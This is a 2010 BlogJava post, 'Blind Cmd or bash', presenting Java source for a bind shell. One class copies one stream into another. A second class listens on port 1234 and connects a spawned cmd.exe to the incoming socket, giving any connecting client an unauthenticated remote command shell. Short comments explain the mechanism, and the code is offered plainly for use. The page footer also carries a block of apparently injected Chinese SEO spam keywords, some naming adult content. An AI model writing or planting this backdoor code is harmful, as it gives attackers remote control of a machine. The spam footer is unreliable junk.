<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    shnulaa

    Never deter till tomorrow that which you can do today
    posts - 15, comments - 0, trackbacks - 0, articles - 2
      BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

    Blind Cmd or bash

    Posted on 2010-09-26 16:36 shnulaa 閱讀(175) 評論(0)  編輯  收藏 所屬分類: java
     1package cn.liuyq;
     2
     3import java.io.BufferedReader;
     4import java.io.BufferedWriter;
     5import java.io.IOException;
     6import java.io.InputStream;
     7import java.io.InputStreamReader;
     8import java.io.OutputStream;
     9import java.io.OutputStreamWriter;
    10
    11public class CombineStream extends Thread {
    12    private InputStream is;
    13    private OutputStream os;
    14
    15    /**
    16     * 
    17     * @param is
    18     * @param os
    19     */

    20    public CombineStream(InputStream is, OutputStream os) {
    21        this.is = is;
    22        this.os = os;
    23    }

    24
    25    /**
    26     * 
    27     * @throws Throwable
    28     */

    29    public void run() {
    30        BufferedReader br = null;
    31        BufferedWriter bw = null;
    32        try {
    33            br = new BufferedReader(new InputStreamReader(is));
    34            bw = new BufferedWriter(new OutputStreamWriter(os));
    35
    36            char[] buffer = new char[1024*5];
    37            int charAt;
    38            while ((charAt = br.read(buffer, 0, buffer.length)) > 0{
    39                bw.write(buffer,0,charAt);
    40                bw.flush();
    41            }

    42
    43        }
     catch (Throwable e) {
    44
    45        }
     finally {
    46            if (br != null{
    47                try {
    48                    br.close();
    49                }
     catch (IOException e) {
    50                    // TODO Auto-generated catch block
    51                    e.printStackTrace();
    52                }

    53            }

    54            if (bw != null{
    55                try {
    56                    bw.close();
    57                }
     catch (IOException e) {
    58                    // TODO Auto-generated catch block
    59                    e.printStackTrace();
    60                }

    61            }

    62        }

    63
    64    }

    65
    66    /**
    67     * 
    68     */

    69    public void destroy() {
    70        if (is != null{
    71            try {
    72                is.close();
    73            }
     catch (IOException e) {
    74                // TODO Auto-generated catch block
    75                e.printStackTrace();
    76            }

    77        }

    78        if (os != null{
    79            try {
    80                os.close();
    81            }
     catch (IOException e) {
    82                // TODO Auto-generated catch block
    83                e.printStackTrace();
    84            }

    85        }

    86    }

    87
    88}

    89
    above is a thread to combine the inputStrean and outputStream.

    BlindSever.java
     1package cn.liuyq;
     2
     3import java.io.InputStream;
     4import java.io.OutputStream;
     5import java.net.InetSocketAddress;
     6import java.net.ServerSocket;
     7import java.net.Socket;
     8
     9public class BlindSever {
    10    
    11    public static void main(String[] args) throws Throwable{
    12        
    13        ServerSocket serverSocket = new ServerSocket();
    14        serverSocket.bind(new InetSocketAddress(1234));
    15        Socket socket = serverSocket.accept();
    16
    17        InputStream is = socket.getInputStream();
    18        OutputStream os = socket.getOutputStream();
    19        
    20        Process process = Runtime.getRuntime().exec("cmd.exe");
    21        InputStream prois = process.getInputStream();
    22        OutputStream proos = process.getOutputStream();
    23        
    24        CombineStream cs1 = new CombineStream(is, proos);
    25        CombineStream cs2 = new CombineStream(prois, os);
    26
    27        cs1.start();
    28        cs2.start();
    29        
    30        
    31    }

    32}

    33
    open a port and ready to receive a sorcket from client and then combine the cmd process input and output with the sockect input and output

    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 久久精品国产亚洲AV麻豆王友容| 亚洲中文字幕无码专区| 免费亚洲视频在线观看| 四虎影在线永久免费观看| 区三区激情福利综合中文字幕在线一区亚洲视频1| 久99精品视频在线观看婷亚洲片国产一区一级在线 | 国产在线播放线91免费| 无码人妻丰满熟妇区免费| 成年人免费的视频| 成人av免费电影| 亚洲高清免费视频| 久久亚洲免费视频| 亚洲中文无码mv| a毛片成人免费全部播放| 黄色网址在线免费| 国产精品视频免费一区二区| 免费乱理伦在线播放| 亚洲免费观看视频| 国产精品亚洲综合五月天| 国产精品亚洲专区在线播放 | 国产三级在线免费观看| APP在线免费观看视频| xxxx日本免费| 亚洲男人的天堂在线va拉文| 亚洲图片一区二区| 亚洲av色香蕉一区二区三区| 成人电影在线免费观看| 毛片免费视频播放| 亚洲欧洲日产国码av系列天堂| 亚洲国产成人久久| CAOPORM国产精品视频免费| 国产成人免费在线| 亚洲一级片内射网站在线观看| 亚洲国产成a人v在线| 一本岛v免费不卡一二三区| 成人免费在线看片| 亚洲色婷婷六月亚洲婷婷6月| 亚洲中文字幕乱码AV波多JI | 在线成人爽a毛片免费软件| 国产成人无码区免费A∨视频网站| 亚洲AV第一页国产精品|